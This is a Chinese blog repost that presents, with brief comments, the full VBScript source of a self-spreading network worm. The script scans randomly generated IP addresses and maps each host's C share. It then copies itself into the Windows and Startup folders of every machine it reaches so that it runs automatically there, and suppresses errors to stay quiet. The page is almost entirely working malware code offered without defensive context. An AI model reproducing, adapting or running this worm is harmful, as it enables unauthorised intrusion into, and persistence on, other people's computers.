CSDN博客

img yxylwt

一个非常简单那的蠕虫病毒(转)

发表于2004/10/18 10:48:00  889人阅读

dim octa
dim octb
dim octc
dim octd
dim rand
dim dot
dim driveconnected
dim sharename
dim count
dim myfile
count = "0"
dot = "."
driveconnected="0"

set wshnetwork = wscript.createobject("wscript.network") '实现网上邻居共享文件夹的搜索与文件操作的对象
Set fso1 = createobject("scripting.filesystemobject")    '创建一个文件系统对象
set fso2 = createobject("scripting.filesystemobject")
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口

randomize '用一随机数初始化内置的随机数生成器(大于0少于1)
checkfile()  '创建newwork.log文件
randaddress() '产生一个随机的ip地址

do
do while driveconnected = "0"
checkaddress() '检查地址
shareformat() 
wshnetwork.mapnetworkdrive "j:", sharename '生成一个映射盘
enumdrives()  '找到了映射的共享盘就copy文件 感染
loop
copyfiles() '感染
disconnectdrive()
loop

msgbox "Done"

function disconnectdrive()
wshnetwork.removenetworkdrive "j:"
driveconnected = "0"
end function

function createlogfile()
Set myfile = fso1.createtextfile("c:/network.log", True)
end function

function checkfile()
If (fso1.fileexists("c:/network.log")) then
fso1.deletefile("c:/network.log")
createlogfile()
else
createlogfile()
end If
myfile.writeLine("Log file Open")
end function

function copyfiles()
myfile.writeline("Copying files to  :  " & sharename)
Set fso = CreateObject("scripting.filesystemobject")

fso.copyfile "c:/network.vbs", "j:/"

If (fso2.FileExists("j:/network.vbs")) Then
myfile.writeline("Successfull copy to  :  " & sharename)
End If 

fso.copyfile "c:/network.vbs", "j:/windows/startm~1/programs/startup/"

fso.copyfile "c:/network.vbs", "j:/windows/"

fso.copyfile "c:/network.vbs", "j:/windows/start menu/programs/startup/"

end function

function checkaddress()
octd = octd + 1
if octd = "255" then randaddress()
end function

function shareformat()
sharename = "//" & octa & dot & octb & dot & octc & dot & octd & "/C"
end function

function enumdrives()
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
driveconnected = 1
else
' driveconnected = 0
end if
Next
end function

function randum()
rand = int((254 * rnd) + 1) '生成一个小于255的随机数
end function

function randaddress()
if count < 50 then
octa=Int((16) * Rnd + 199)  '生成一个199-215的随机数?
count=count + 1
else
randum()
octa= rand
end if
randum()
octb=rand
randum()
octc=rand
octd="1"
myfile.writeLine("Subnet  :  " & octa & dot & octb & dot & octc & dot & "0")
end function

阅读全文
0 0

相关文章推荐

img
取 消
img